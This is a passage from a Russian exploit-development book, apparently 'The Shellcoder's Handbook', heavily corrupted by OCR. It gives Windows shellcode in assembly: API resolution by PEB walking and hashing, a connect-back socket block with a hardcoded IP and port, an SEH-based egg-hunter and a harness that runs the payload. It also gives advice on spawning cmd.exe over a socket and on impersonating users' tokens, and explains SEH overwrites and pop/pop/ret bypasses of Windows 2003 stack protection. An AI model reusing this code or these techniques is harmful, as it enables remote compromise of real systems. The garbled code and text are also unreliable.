124 Глава 7. Внедряемый код для Windows Следующая функция получает адрес указателя на функцию из хеша имен функций и DLL. Вероятно, это самая непонятная функция во всем внедряемом коде, потому что она выполняет большую часть работы весьма нетрадиционным образом. В ней используется то обстоятельство, что во время выполнения Windows-программы по адресу fs:[0x30] хранится указатель на блок окружения программы (РЕВ), по которому можно найти все модули, загруженные в память. Мы последовательно перебираем модули и ищем модуль с именем kernel32.dU.dLL сравнением хеш-кодов. Функции хеширования передается простой флаг для переключения между хешированием строк Unicode и простых строк ASCII. Учтите, что в Интернете опубликовано немало реализаций этого процесса — причем некоторые из них компактнее других. Например, в коде Алвара Флейка (Halvar Flake) используются 16-разрядные хеш-коды для экономии места; анализ РЕ-заголовка для получения искомых указателей также может осуществляться разными способами. Кроме того, анализировать РЕ-заголовок для всех функций не нужно — достаточно найти функцию GetProcAddress() и использовать для получения всех остальных. /* fs[0x30] - указатель на РЕВ *that + Ос - указатель на _PEB_LDR_DATA *that + Ос - указатель на список модулей в порядке загрузки */ За дополнительной информацией обращайтесь по адресам www.builder.cz/art/ assembler/anti_procdump.html и www.onebull.org/document/doc/win2kmodules.htm. В общем виде процедура выглядит так: 1. Получить РЕ-заголовок из текущего модуля (fs:0x30). 2. Перейти к РЕ-заголовку. 3. Перейти к таблице экспорта и получить значение nBase. 4. Получить arrayOfNames и найти функцию. // void* GETFUNCADDRESSC int hashl.int hash2) /* НАЧАЛО КОДА ПОЛУЧЕНИЯ АДРЕСОВ */ // Аргументы // Хеш dll // Хеш функции // Возвращает адрес функции getfuncaddress pushl %ebp movl %esp,%ebp pushl %ebx pushl %esi pushl %edi pushl %ecx pushl fcfs @x30) popl Ueax // test йеахДеах // JS WIN9X
Анализ блока РЕВ 1 25 NI // (jot _PEB_LDR_DATA ptr intivl OxcUeax) Деах iimvl OxcUeax) Десх ni'xi inlist // Следующий элемент списка помещается в %edx inov! Uecx),?edx // Имя модуля в Юникоде niovl 0x30Uecx).*eax // Сравнить Unicode-строку в %еах с нашей строкой. // I ели будет найдено совпадение с KERNEL32 dll, адрес модуля // находится по адресу 0х18+$есх // Занести в стек приращение pushl $2 // Занести в стек хеш niovl 8(*ebp).Sedh |)U',hl ЯесИ // Занести в стек адрес строки pushl %eax («ill hashit lest ЯеахДеах l/ foundmodule // В противном случае проверить следующий элемент списка niovl Uedx.^ecx jinp nextinl ist // МОДУЛЬ НАЙДЕН, ПОЛУЧИТЬ АДРЕС foundmodule // Есх указывает на совпавший элемент списка // Получить базовый адрес niovl 0х18Цесх) Деах // Значение нужно сохранить - это базовый адрес push %eax // Итак, получен указатель на начало модуля (MZ // для заголовка dos IMAGE_DOS_HEADER Нас интересует ejfanew // (сам РЕ-заголовок) niovl ОхЗсЦеах) ДеЬх .iddl ЯеЬхДеах // %еЬх указывает на РЕ-заголовок (ascTi РЕ) // Нас интересует PE->export table // 0xl50-0xd8=0x78 по данным OllydDbg movl 0х78Цеах) ДеЬх pop %eax push %езх -iddl %eax,%ebx II Сейчас еах содержит таблицу EDT (Export Dtrectory Table) // Из 1аблицы MS PF-COFF. 6 3 1 (проведите поиск [нч off на (<)йю MS)
126 Глава 7. Внедряемый код для Windows //24 //28 // //32 // //36 // 4 4 4 4 //Смещ. Размер Поле Описание //16 4 Начальный ординал (обычно содержит I1) Количество указателей на имена (также кол-во ординалов) Указатель на таблицу Адрес EAT (Export Address адресов экспорта Table) относительно базы Указатель на таблицу указателей Адреса (RVA) имен на имена экспорта Указатель на таблицу ординалов Для получения адресов потребуются ординалы // Теоретически нужно вычесть начальный ординал (базу), // но на самом деле он не используется // movl 16(Sebx),Sedi // В edi помещается начальный ординал movl 28ЦеЬх)Десх // В есх помещается таблица адресов movl 32«ebx),?edx // В edx помещается таблица указателей на имена movl 36«еЬх)ДеЬх // В ebx помещается таблица ординалов // В еах снова помещается базовый адрес // Преобразовать RVA в реальные адреса addl йеахДесх addl Ueax.^edx addl Seax.Sebx //// ПОИСК УКАЗАТЕЛЯ НА ФУНКЦИЮ find_procedure // Для каждого указателя в таблице указателей на имена // сравниваются хеши. В случае совпадения переходим к таблице адресов // и получаем адрес при помощи таблицы ординалов movl (Sedx).Sesi pop Ueax pushl %eax addl %eax,%esi II Занести в стек приращение pushl $1 // Занести в стек хеш функции pushl 12ЦеЬр) // esi содержит адрес строки push! %esi call hashit test %eax, %eax jz found_procedure // Увеличить указатель таблицы имен add $4,?edx // Увеличить указатель таблицы ординалов // Ординалы состоят только из 16 бит add $2ДеЬх jmp find_procedure found_procedure
Анализ блока РЕВ 127 // Снова занести в еах базовый адрес pop %eax хог %ейх,%е6х II Занести в dx ординал // ordinal=ExportOrdinalTable[i] (на таблицу указывает ebx) inov (*ebx).*dx II SymbolRVA = ExportAddressTable[ordinal-OrdinalBase] // Как говорилось ранее, начальный ординал не используется. // Вычитание начального ординала // sub %edi Деах // Умножить на sizeof(dword) shl $2,uedx // Прибавить к таблице адресов экспорта // для получения RVA фактического адреса «Kid Sedx.fcecx // Прибавить к базовому адресу для получения фактического адреса <uJd Цесх) Деах // Готово, адрес хранится в еах! pop! %есх popl %edi popl Uesi popl %ebx inov %ebp,$esp pop M>p ret $8 /liuiee приводится простая функция хеширования, игнорирующая регистр сим- иолов: // Функция hashit // Получает 3 аргумента // Приращение для Unicode/ASCII // Хеш для сравнения // Адрес строки hashit: pushl %ebp movl Uesp.^ebp [)ush Xecx push Xebx push Xedx хог Яесх.&есх /or йеЬхДеЬх xor ^edx.^edx niov 8(М)р)Деах hashloop- inovb Ueax).*dl // Преобразование символа к верхнему регистру or $0x60.Sdl .Kid 'talx.Xobx
128 Глава 7. Внедряемый код для Windows shl $1ДеЬх // Добавить приращение к указателю // 2 для Unicode, 1 для ASCII addl 16ЦеЬр)Деах mov (Seax).Scl test Scl.Scl loopnz hashloop хог йеахДеах mov 12Uebp).*ecx cmp %ecx,%ebx jz donehash // Несовпадение, присвоить eax==l inc Ueax donehash- pop %edx pop %ebx pop %ecx mov Uebp.Uesp pop %ebp ret $12 А вот программа хеширования на языке С, которая применялась для генерирования хешей, используемых в представленном коде. Годится практически любая функция хеширования; мы выбрали эту за небольшой размер и простоту реализации на ассемблере: #include <stdio.h> maindnt argc, char **argv) { char * p, unsigned int hash. if (argc<2) { printf("Usage hash exe kerne!32 dll\n"). exit(O). } p=argv[l], hash=0. while (*p!=0) { // Преобразование символа к верхнему регистру hash=hash + (^(unsigned char * )p | 0x60). p++: hash=hash « 1. } printfC'Hasn 0x^8 8x\n".hash).
Анализ блока РЕВ 129 Ь 'in потребуется вызвать ExitThread() или ExitProcessQ, то следующий обработчик .ишгршения заменяется другой функцией. Впрочем, на практике обычно ж mi л точно выполнить следующие команды: I'KiUhread- // Просто сгенерировать исключение -or- ЯеахДеах i и! I *Яеах I гмгрь начинаются собственно данные. Чтобы использовать этот код, замените ш.ги'ппс sockaddr другой структурой для обращения к нужным хосту и порту: '.uikAddrSPOT. // Первые два байта - порт (AFJNET = 0002) long 0x44440002 // IP-адрес сервера 651а8с0 = 192 168 1 101 long Ox6501a8cO ^IRNEL32HASHESTABLE long GETSYSTEMDIRECTORYAHASH long VIRTUALPROTECTHASH long GETPROCADDRESSHASH long LOADLIBRARYAHASH MSVCRTHASHESTABLE long FREEHASH AIA/API32HASHESTABLE- long REVERTTOSELFHASH WV32HASHESTABLE long CONNECTHASH long RECVHASH long SENDHASH long WSASTARTUPHASH long SOCKETHASH WV_32DLL. .iscii \Mws2_32 dll\n long 0x00000000 cndsploit: // Последующие данные не включаются во внедряемый код. // но эта область используется для хранения служебных данных // во время работы кода M'.VCRTFUNCTIONSTABLE I \<\ I long 0x00000000 \I KNfL32FUNCTI0NSTABLE VIUIUALPROTECT long 0x00000000
130 Глава 7. Внедряемый код для Windows GETPROCADDRA: long 0x00000000 LOADLIBRARY. .long 0x00000000 // Конец таблицы функций kerne!32 dll // Сохраняется адрес buf+8 mod 8, поскольку выравнивание по границе // слова необходимо для работы Win32 api BUFADDR: .long 0x00000000 WS232FUNCTI0NSTABLE CONNECT. long 0x00000000 RECV .long 0x00000000 SEND: long 0x00000000 WSASTARTUP long 0x00000000 SOCKET long 0x00000000 // Конец таблицы функций ws2_32.dll SIZE. long 0x00000000 FDSPOT. long 0x00000000 BUF long 0x00000000 "). } Функция main() выводит внедряемый код или передает ему управ, тестирования. int mainO { unsigned char buffer[4000]. unsigned char * p. int i. char *mbuf,*mbuf2, int error=0. //getprocaddrO. memcpy(buffer.getprocaddr,2400), p=buffer. p+=3, /* Пропустить пролог функции kl //#define DOPRINT #ifdef DOPRINT /*gdb ) print Г "М\п", ondsploit mainonl rypoml l */
Поиск с использованием механизма обработки исключений Windows 131 printfC'V"), for (i=0, i<666. i++) { pnntf("\\xX2 2x\*p); if (A+Ш8==0) pri ntf("\"\nshel1code+=\""); p++; } printf("\"\n"). //endif //define DOCALL //ifdef DOCALL l(void(*)())(p)) 0. //endif } Поиск с использованием механизма обработки исключений Windows Приведенный в предыдущем разделе внедряемый код гораздо объемнее, чем мам хотелось бы. Проблема решается написанием другого внедряемого кода, коюрый производит поиск в памяти и находит первый блок кода. Порядок выполнения выглядит так: I Уязвимая программа выполняется нормально. ') Происходит внедрение кода поиска. '1 Выполняется внедряемый код первого уровня (код поиска). \ Выполняется «настоящий» внедряемый код (код второго уровня). Код поиска чрезвычайно компактен — во всяком случае, для внедряемого кода Windows. Его окончательный объем не превышает 150 байт, и после шифрования п присоединения модуля дешифрирования он должен поместиться практически в любой буфер. Если объем кода потребуется дополнительно сократить, ориентируйте его па конкретную версию Service Pack и жестко закодируйте адреса функций. Дчн использования кода необходимо присоединить 8-байтовую метку в конец, л затем вставить ту же 8-байтовую метку с переставленными словами в начало i чайного внедряемого кода, который может находиться в любом месте памяти. // include <stdio h> lk Л Публикуется на условиях GPL V 2 О Л Copyright Immunity, Inc 2002-2003 л 1\|(>о1с)от на базе обработки исключений SE 11ом(ч Iиiо адрр( ( фукгуры в fs 0 Помп i и ie ( тук i vi'v I- ( ]pk
132 Глава 7. Внедряемый код для Windows При вызове из стека извлекаются 4 аргумента _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _C0NTEXT *ContextRecord, void * DispatcherContext ); typedef struct _C0NTEXT { DWORD ContextFlags. DWORD DrO; DWORD Drl; DWORD Dr2, DWORD Dr3; DWORD Dr6; DWORD Dr7; FLOATING_SAVE_AREA FloatSave, DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs. DWORD Edi: DWORD Esi; DWORD Ebx; DWORD Edx, DWORD Ecx; DWORD Eax. DWORD Ebp; DWORD Eip; DWORD SegCs, DWORD EFlags, DWORD Esp, DWORD SegSs, } CONTEXT, Верните О, чтобы продолжить выполнение при возникновении исключения. ПРИМЕЧАНИЕ Мы ищем TAG1 и TAG2 в обратном порядке, чтобы они не совпали сами с собой, что привело бы к нарушению работы внедряемого кода. Важно заметить, что структура обработчика исключения (-1, адрес) обязательно должна находиться в стеке текущего программного потока. При изменении ESP вам придется внести соответствующие изменения в стек текущего потока в информационном блоке потока. Также необходимо решить некоторые неприятные проблемы с выравниванием. Сочетание этих факторов увеличивает объем внедряемого кода до значений больших, чем нам хотелось бы. Другая, более правильная стратегия — установить для РЕВ блокировку RtlEnterCriticalSection следующим образом: k=0x7ffdf020. *(int *)k=Rt1EnterCnticalSectionadd. * */ #define DOPRINT
Поиск с использованием механизма обработки исключений Windows 133 //#define DORUN void \hollcode() ( /* ГЛОБАЛЬНЫЕ ОПРЕДЕЛЕНИЯ */ ммп (" set KERHEL32HASH, 0x000d4e88 "). /АНАЧАЛ0 ВНЕДРЯЕМОГО КОДА */ .ism (" nuiinentrypoint- // Заполнение таблицы указателей на функции \ub $0x50,%esp ( all geteip • l^teip: pop %ebx // Теперь ebx содержит базу1 // Сместить esp. чтобы WSASocket и другие функции не использовали // нашу область в качестве стека inovl %ebx,%esp ',ubl $0x1000,%esp // Esp необходимо выровнять для предотвращения сбоев функций Win32 «ind $0xffffff00.Sesp Idkeexcepti onhandler * // Перехват управления над обработчиком прерывания // Загрузить адрес блока регистрации исключения в fs*0 lea exceptionhandler-geteipUebx) Деах // Сохранить адрес обработчика исключения в стеке push %еах // Обработчик является последним, занести в стек -1 push $-1 // Поместить в положенное место . iiiov Uesp.Ufs @) // Изменение информационного блока программного потока // В Windows XP SP1 сам обработчик исключения не может // храниться в стеке - но многие версии Windows проверяют. // чтобы в стеке находился блок исключения .uldl $0xc. %esp innvl Uesp.Ufs D) '.ubl $0xc.^esp // Начало стека программного потока помещается сразу же за блоком SEH inovl Uesp.^fs (8) // Цикл поиска ilSfll (" l.irl loop or1 lesi ,%esi inov IAGl-geteipUebx).Sedx iiiov IAG2-geteipUebx).$ecx IIU'llll Hip // Ношожен сбой г вызовом нашего обработчика исключения iiiov Uos i ) Др.ix
134 Глава 7. Внедряемый код для Windows cmp ЯеахДесх jne addaddr mov 4Uesi) Деах cmp Ueax.^edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags- lea 8Uesi).*eax xor %esi,%esi II Сбросить обработчик исключения, чтобы этого не пришлось // делать при выходе mov Sesi .Us.(O) call *Ueax "); asm(" // Обработка исключений при просмотре памяти except!onhandler //int $3 mov OxcUesp) Деах // Загрузить сохраненное значение ESI из кадра исключения е add $0ха0Деах mov Ueax) .?edi // Увеличить сохраненное значение ESI на 0x1000 add $0xl000,%edi mov %edi,Цеах) xor %езх, %eax ret *). asm(" endsploit // Метки, обозначающие начало настоящего внедряемого кода TAGS TAG1 long 0x41424344 TAG2 .long 0x45464748 CURRENTPLACE // Текущая позиция поиска long 0x00000000 "). } int mainO { unsigned char buffer[4000]. unsigned char * p. int i. unsigned char stage?!"S00 1.
Запуск командного процессора 135 // Подготовка 2 уровня для тестирования sLrcpy(stage2,MHGFE"), r1Lrcat(stage2, "DCBA\xcc\xcc\xcc"). //getprocaddrO, incmcpy( buffer .shell code, 2400) , p=buffer. //ihiof WIN32 p+=3. /* Пропуск пролога функции */ //end if //ildef DOPRINT //define SIZE 127 printf ("#Size in bytes %d\n".SIZE) . /*gdb ) printf "?d\n". endsploit - mainentrypoint -1 */ printf ( "searchshellcode+=\""); for A=0. i<SIZE. i++) { printf ("\\x%2 2x",*p), if C(i+1)%8==0) pnntf ("\"\nsearchshellcode+=\""). P++. } printf ("\"\n"). //(Midif //ifdef DORUN ((void(*)()(p)) 0. /Midif 1 Запуск командного процессора И Windows существуют два способа запуска командного процессора из сокета. И Ишх файловые идентификаторы стандартного входа и выхода дублируются функцией dup2(), после чего выполняется функция execve("/bin/sh"). В Windows задача усложняется. Сокет может использоваться для ввода CreateProcess ("(ind.exe") в том случае, если он был создан функцией WSASocket() вместо MxketQ. Тем не менее, если сокет был позаимствован у процесса или не был мм чаи функцией WSASocket(), вам придется выполнять сложные манипуляции .интимными каналами. Возникает искушение использовать функцию рореп(), и-и и ко она не работает в Win32, и вам придется реализовывать ее заново. Запомни 1С несколько ключевых фактов: I Функция CreateProcessA должна вызываться с атрибутом наследования, ран- м 1. В противном случае дочерний процесс не сможет осуществлять чтение из каналов, переданных в cmd.exe в качестве стандартных каналов ввода и вывода. ' < ыидартный канал вывода необходимо закрыть в родительском процессе, и/in капал будет блокироваться при каждом чтении. Делать это следует по ( че вызова CreateProcessA, но перед вызовом Read File для чтения резу/н.тагон 1 Не сбывайте использовать DuplicateHandLe() для создания пепаечедуемыч ко ппй идем гифмка юрой k.ui.wioii дня .описи в с iaii;i;i|)i ими клип ч iiho/i;i и 'иг
136 Глава 7. Внедряемый код для Windows ния из стандартного канала вывода. Наследуемые идентификаторы необходимо закрыть, чтобы они не наследовались процессом cmd.exe. 4. Если потребуется найти cmd.exe, используйте GetEnvironmentVariable("COM- SPEC"). 5. Установите флаг SW_HIDE в CreateProcessA, чтобы при выполнении команд на экране не появлялись ненужные окна. Также следует установить флаги STARTF_ USESTDHANDLES и STARTF_USESHOWWINDOW. Учитывая все сказанное, вы сможете легко написать собственную реализацию функции popenQ — причем такую, которая действительно будет работать. Почему этого делать не следует Наследование в Windows — одна из тех концепций, к которым Unix-программисты привыкают не сразу. Более того, большинство Windows-программистов (включая сотрудников Microsoft) не имеют ни малейшего представления о том, как работает механизм наследования в Windows. Наследование и маркеры доступа существенно затрудняют жизнь тем, кто занимается эксплуатацией уязви- мостей. Оказавшись в процессе cmd.exe, вы утрачиваете возможность эффективной пересылки файлов, так легко реализуемую на уровне внедренного кода. Кроме того, вы получаете доступ ко всему интерфейсу Win32 API, обладающему гораздо большими возможностями, чем стандартный командный процессор Win32. При этом маркер текущего программного потока заменяется первичным маркером процесса. Иногда первичным маркером будет LOCAL/SYSTEM; в других случаях — IWAM, IUSR или другой маркер с низкими привилегиями. ; Данное обстоятельство может быть причиной немалых сложностей, особенно когда внедряемый код используется для пересылки файла на удаленный хост и его последующего исполнения. Вдруг выясняется, что дочерний процесс не! может прочитать собственный исполняемый файл — запросто может оказаться,! что он работает совсем не с теми правами, которые вы ожидали. Так что оста-| вайтесь в рамках исходного процесса и напишите код сервера, который предос*! тавит доступ ко всем необходимым функциям API. В частности, это позволит вам заимствовать маркеры программных потоков других пользователей и вьН полнять чтение/запись файлов в качестве этих пользователей. И кто знает, ка* кие еще ресурсы, доступные текущему потоку, могут быть помечены как нена- следуемые? Если вам когда-либо потребуется в качестве пользователя, за которого \\ы себя выдаете, порождать процесс, придется рискнуть с выполнением функции CreateProcessAsllser() и применением привилегий, первичных маркеров доступа! и прочих «штучек» Win32. Для анализа проблем, связанных с маркерами, рекомендуется задействовать инструментарий Sysinternals (www.sysinternals.com),! прежде всего Process Explorer. Если внедряемый код для Windows работаем iu<| так, как предполагалось, причины в подавляющем болыиппс шс случаен лежа Г в странностях маркеров.
Итоги 137 Итоги И мой главе рассматриваются различные приемы реализации переполнения и куче простейшие, средней сложности, нетривиальные. Переполнение в куче inp;i.i/K> сложнее переполнения в стеке, и для его правильного применения не- ипчпдпмо хорошее знание системных тонкостей Windows. He огорчайтесь, если не нес получается с первого раза; эксплуатация уязвимостей — это по сути сво- И1 метод проб и ошибок.
ГЛАВА 8 Переполнение в Windows Вероятно, читатель но крайней мере в общих чертах представляет, как работает Windows NT или более поздняя операционная система, и умеет использовать факт переполнения буфера на этой платформе. В этой главе рассматриваются более сложные аспекты переполнения в Windows, в частности борьба с защитой стека в Windows 2003 Server, подробный анализ переполнения в куче, и т. д. Читатель должен быть знаком с такими ключевыми структурами Windows, как блок окружения потока (Thread Environment Block, TEB) и блок окружения процесса (Process Environment Block, РЕВ), а также строением памяти процессов, файлов образов и РЕ-заголовков. Если вам эти концепции незнакомы, рекомендуем вам изучить их, прежде чем браться за чтение главы. Инструментарий, используемый в этой главе, входит в комплект поставки Microsoft Visual Studio 6; это прежде всего отладчик MSDEV, компилятор командной строки cl и утилита dumpbin. Утилита dumpbin чрезвычайно удобна для работы в режиме командной строки; она выводит всевозможные полезные сведения о двоичных файлах, содержимое секций импорта и экспорта, дизассембли- рует код и проч. Если вы предпочитаете работать в графическом интерфейсе, воспользуйтесь другим замечательным инструментом дезассемблирования — программой Datarescue IDA Pro. Одни разработчики предпочитают синтаксис Intel, другие — AT&T. Выберите тот синтаксис, который вам кажется более удобным. Переполнение буфера в стеке Да-да, речь идет о классическом переполнении буфера в стеке. Этот вид уязви- мостей существует целую вечность (по крайней мере, по компьютерному летоисчислению) и будет существовать еще долго. Каждый раз, когда в современном программном обеспечении обнаруживается очередная лазейка для переполнения буфера в стеке, непонятно, плакать или смеяться — впрочем, как бы то ни было, эти дефекты безопасности входят в обычный «рацион» среднего хакера или специалиста по безопасности В Интернеге можно найти массу описаний методов переполнения буферов в стеке, они встречаются в предыдущих глинах книги, поэтому здесь эта информация не повторяется. При типичном переполнении в стеке сохраненный адрес вознрша заменяется другим адресом, который соответствует команде или блоку kom.ui/i, передаю
Переполнение буфера в стеке 139 шим управление пользовательскому буферу. Позднее эта концепция исследуется 'Ншимиигельно, а пока мы ограничимся кратким обзором стековых обработчики исключений. Затем речь пойдет о перезаписи структур регистрации исключен и и, хранящихся в стеке, и их роли в борьбе с механизмами защиты стека, mi iроенными в Windows 2003 Server. Стековые обработчики исключений {)(\\н\(ютчиком исключения (exception handler) называется фрагмент кода для решения проблем, возникающих по ходу выполнения процесса (например, нарушений доступа или деления на 0). Стековые обработчики исключений (frame- liip.rd exception handler) ассоциируются с конкретными процедурами, и для 1и1/1\дои процедуры в стеке создается новый кадр. Информация о стековых об- риошчика исключений хранится в структуре EXCEPTION_REGISTRATION, находящейся w стеке. Структура состоит из двух элементов: указателя на следующую t i рук iypy EXCEPTION_REGISTRATION и указателя па обработчик исключения. Тайн м образом, стековые обработчики объединяются в связанный список (рис. 8.1). Стек Указатель на следующую структуру E_R Указатель на обработчик исключения Указатель на следующую структуру E_R Указатель на обработчик исключения Указатель на следующую структуру E_R Указатель на обработчик исключения <А <-* Рис. 8.1. Стековые обработчики исключений K.i iv/ii.iii программный поток процесса Win32 имеет, по крайней мере, один етс Miiii.iii обработчик исключений, создаваемый в начале работы потока. Адрес in pimii сфуктуры EXCEPTION_REGISTRATION хранится в блоке окружения каждого inuou.i, fs:[0] на ассемблере. При возникновении исключения происходи г игре • и.)» ( о'М'ржпмого списка до тех пор, пока не будет найден подход я mini обрабомшк
140 Глава 8. Переполнение в Windows Стековая обработка исключений в С реализуется с использованием ключевых слов try и except. #include <stdio.h> #include <windows.h> dword MyExceptionHandler(void) printfC'In exception handler "); ExitProcess(l); return 0, int mainO try { __asm // Спровоцировать исключение xor eax.eax call eax } except(MyExceptionHandlerO) { pnntfC'oops . "), } return 0; } Ключевое слово try определяет программный блок, а при возникновении исключения управление передается функции MyExceptionHandler. Когда мы обнуляем регистр ЕАХ и пытаемся использовать его для выполнения команды call, происходит исключение, и управление передается обработчику. При переполнении буфера, хранящегося в стеке, наряду с заменой адреса возврата могут быть заменены значения других переменных, что дополнительно затрудняет эксплуатацию уязвимости. Представьте, что функция работает с некоторой структурой, начальный адрес которой хранится в регистре ЕАХ, и что смещение внутри структуры хранится в переменной, испорченной в процессе замены адреса возврата. Допустим, переменная перемещается в ESI, и в программе выполняется команда типа mov dword ptr[eax+esi]. edx Так как переполнение не может содержать NULL, необходимо позаботиться о том, чтобы новое значение переменной обеспечивало возможность записи по адресу EAX+ESI. В противном случае произойдет нарушение доступа — а это нежелательно, потому что при нарушении доступа будет выполнен обработчик(-и) исключений; скорее всего, это приведет к завершению потока или процесса и невозможности выполнения нашего внедренного кода. Но даже если проблема с записью по адресу EAX+ESI будет решена, перед возвратом из уязвимой функции могут возникнуть и другие сходные проблемы. Возможно, п некою
Переполнение буфера в стеке 141 111»iх ситуациях решение вообще станет невозможным. В настоящее время в подобных ситуациях обычно заменяется структура EXCEPTION_REGISTRATION в стеке, чюбы указатель на обработчик исключения находился под нашим контролем. При нарушении доступа появляется возможность перехватить управление: в качестве адреса обработчика указывается адрес блока кода для возврата к буферу. Какое же значение следует присвоить указателю на обработчик для выполнения произвольного кода, помещенного в буфер? Ответ на этот вопрос зависит ш платформы и версии Service Pack. В таких системах, как Windows 2000 и Windows XP без установленных пакетов Service Pack, указатель на текущую гфуктуру EXCEPTI0N_REGISTRATI0N (ту, которую мы записали) хранится в реги- < ipe EBX. В этом случае указатель на настоящий обработчик исключения заменяется адресом, по которому находится команда jmp ebx или call ebx, и тогда при мыиолнении фиктивного обработчика управление будет передано в нашу мруктуру EXC E PTI0 N_R EG 1ST RATIO N. Далее необходимо записать туда, где должен находиться указатель на следующую структуру EXCEPTI0N_REGISTRATI0N, команду короткого перехода jmp через адрес, по которому находится команда jmp ebx. Перезаписанная структура EXCEPTI0N_REGISTRATI0N могла бы выглядеть iaic, как показано па рис. 8.2. Короткий переход JMP (и команды NOP, NOP) Указатель на адрес, по которому выполняется команда JMP EBX Начало реального кода Сюда указывает ЕВХ Рис. 8.2. Стековые обработчики исключений <)днако в Windows 2003 Server и Windows XP Service Pack 1 и выше ситуация меняется. Указатель на структуру EXCEPTI0N_REGISTRATI0N уже не хранится и регистре ЕВХ. Более того, все регистры, ранее содержавшие полезную ипфор м.щпю, обнуляются командой хог перед вызовом обработчика. Вероятно, ком п.пшя Microsoft внесла эти изменения из-за того, что червь Code Red исподьао мал описанный механизм для получения контроля над веб-серверами IIS. Мш как :гго происходит (фрагмент кода Windows XP Professional SP1): //Г79В57 хог еах.еах ll\ /9B59 хог ebx.ebx //I 79B5B хог esi.esi //I/9B5D хог edi.edi //I/9B5F pir.h dword ptr [esp+20h]
142 Глава 8. Переполнение в Windows 77F79B63 77F79B67 77F79B6B 77F79B6F 77F79B73 77F79B78 77F79B79 77F79B7A 77F7937B 77F79B7E 77F79B7F 77F79B81 77F79B84 77F79B85 77F79B8C 77F79B93 77F79B96 77F79B99 77F79B9C 77F79B9F 77F79BA2 push push push push call pop pop pop ret push mov push push push mov push push push push mov call dword ptr dword ptr dword ptr dword ptr 77F79B7E edi esi ebx 14h ebp ebp.esp dword ptr edx dword ptr dword ptr dword ptr dword ptr dword ptr dword ptr ecx,dword ecx [esp+20h] [esp+20h] [esp+20h] [esp+20h] [ebp+OCh] fs [0] fs [0].esp [ebp+14h] [ebp+lOh] [ebp+OCh] [ebp+8] ptr [ebp+18h] Начиная с адреса 0x77F79B57, регистры ЕАХ, EBX, ESI и EDI обнуляются, для чего каждый регистр объединяется сам с собой операцией хог. Следующее, па что следует обратить внимание, — команда call по адресу 0x77F79B73; выполнение продолжается по адресу Ox77F79B7E. По адресу Ox77F79B9F указатель на обработчик исключения помещается в регистр ЕСХ, после чего управление передается по заданному адресу. Конечно, даже после этих изменений нападающий может перехватить управление — но так как указатель на пользовательские данные уже не хранится в регистре, нападающему придется гадать, где эти данные находятся. Это снижает вероятность успешной работы кода. Но так ли это? Если проанализировать содержимое стека на момент после вызова обработчика исключения, мы обнаружим следующие данные: о ESP — сохраненный адрес возврата @x77F79BA4); о ESP+4 — указатель на тип исключения @хС0000005); о ESP+8 - адрес структуры EXCEPTION_REGISTRATION. Вместо замены указателя на обработчик исключения адресом команды jmp ebx пли call ebx достаточно заменить его адресом программного блока со следующими командами: pop reg pop reg ret С каждой командой pop значение ESP увеличивается на 4, поэтому при выполнении команды ret регистр ESP содержит указатель на пользовательские данные. Стоит напомнить, что команда ret берет адрес с вершины стека (ESP) и передает по нему управление. Таким образом, нападающему не нужно, чтобы указатель на буфер хранился в каком-либо регистре, и не нужно yi;i;ii,iiun> его адрес.
Переполнение буфера в стеке 143 I де найти такой блок команд? Да в общем-то где угодно — в конце любой функции, где функция «прибирает за собой». Как это ни удивительно, одним из лучших мест может оказаться код очистки регистров по адресу 0x77F79B79: //Г79В79 pop esi //I /9B7A pop ebx //F7937B ret 14h Применение команды ret 14h вместо ret ничего не меняет. Эта команда производи! дополнительную корректировку регистра ESP, прибавляя 0x14 вместо 0x4. И результате мы снова возвращаемся к своей структуре EXCEPTI0N_REGISTRATI0N и пеке. Как и прежде, указатель на новую структуру EXCEPTI0N_REGISTRATI0N допжеи быть направлен на блок кода с командой короткого перехода jmp и двумя пор для обхода адреса, указывающего на блок pop/pop/ret. Каждому процессу Win32 и каждому программному потоку внутри этого процесса назначается по крайней мере один стековый обработчик (это происходит при запуске процесса или потока). Итак, благодаря возможности переполнения Пуфера в Windows 2003 Server стековые обработчики исключений предлагают илин из путей борьбы с повой схемой защиты стека, встроенной в процессы, ра- (имающие на этой платформе. Манипуляции стековыми обработчиками исключений в Windows 2003 Server Манипуляции стековыми обработчиками исключений можно предложить в качестве обобщенного метода обхода защиты стека в Windows 2003 (за дополни- 1Г/1ЫЮЙ информацией по этой теме обращайтесь к разделу «Защита стека и Windows 2003 Server»). Когда в Windows 2003 Server происходит исключение, система сначала проверяет действительность назначенного обработчика. Таким образом Microsoft пытается предотвратить переполнения буферов в стеке с заменой информации стековых обработчиков; предполагается, что нападающий не сможет заменить указатель на обработчик исключения и спровоци- I и тать его вызов. Мо каким же критериям проверяется действительность обработчика? Проверка выполняется кодом функции KillserExceptionDispatcher модуля NTDLL.DLL Сначала программа проверяет, не относится ли указатель на обработчик к адресу и пеке. Для проверки используются верхний и нижний адреса стека FS:[4] и IS:[8]. Если обработчик находится в этом диапазоне, он не вызывается. Таким пора и)м, нападающий не может направить обработчик исключения прямо в бу фг|>, находящийся в стеке. Если указатель па обработчик не соответствует адре ( v |» стеке, система проверяет, не входит ли он в адресное пространство одною и i ^пруженных модулей (включая DLL и образы исполняемых файлов). Если in !, к), как ни странно, обработчик исключения считается безопасным и вызы м.ик я Но если адрес принадлежит адресному пространству загруженного мо ц '1я, он проверяется дальше по списку зарегистрированных обработчиков 'l.niee ( пстема помучает указатель на РЕ-заголовок образа с помощью функции Klllm.KieNlHeadei и выио/шяс! проверку; если баГп 0xr)F 1}Е заголовка (с lapiniiii
144 Глава 8. Переполнение в Windows байт поля характеристик DLL) равен 0x04, значит, модуль относится к числу «не разрешенных». Если обработчик принадлежит к адресному пространству такого модуля, он не вызывается. Далее указатель на РЕ-заголовок передается в качестве параметра функции RtllmageDirectoryEntryToData. В данном случае нас интересует каталог конфигурации загрузки (load configuration directory). Функция RtllmageDirectoryEntryToData возвращает адрес и размер каталога. Если модуль не имеет каталога конфигурации загрузки, то функция возвращает 0, дальнейшие проверки не производятся, и вызывается обработчик исключения. С другой стороны, если каталог присутствует, система проверяет его размер; если размер каталога равен 0 или меньше 0x48, дальнейшие проверки не производятся, и вызывается обработчик исключения. Со смещением 0x48 байт от начала каталога конфигурации загрузки хранится указатель на таблицу адресов RVA зарегистрированных обработчиков. Если указатель равен NULL, дальнейшие проверки прекращаются, и вызывается обработчик исключения. Со смещением 0x44 байта от начала каталога хранится количество элементов в таблице. Если количество элементов равно 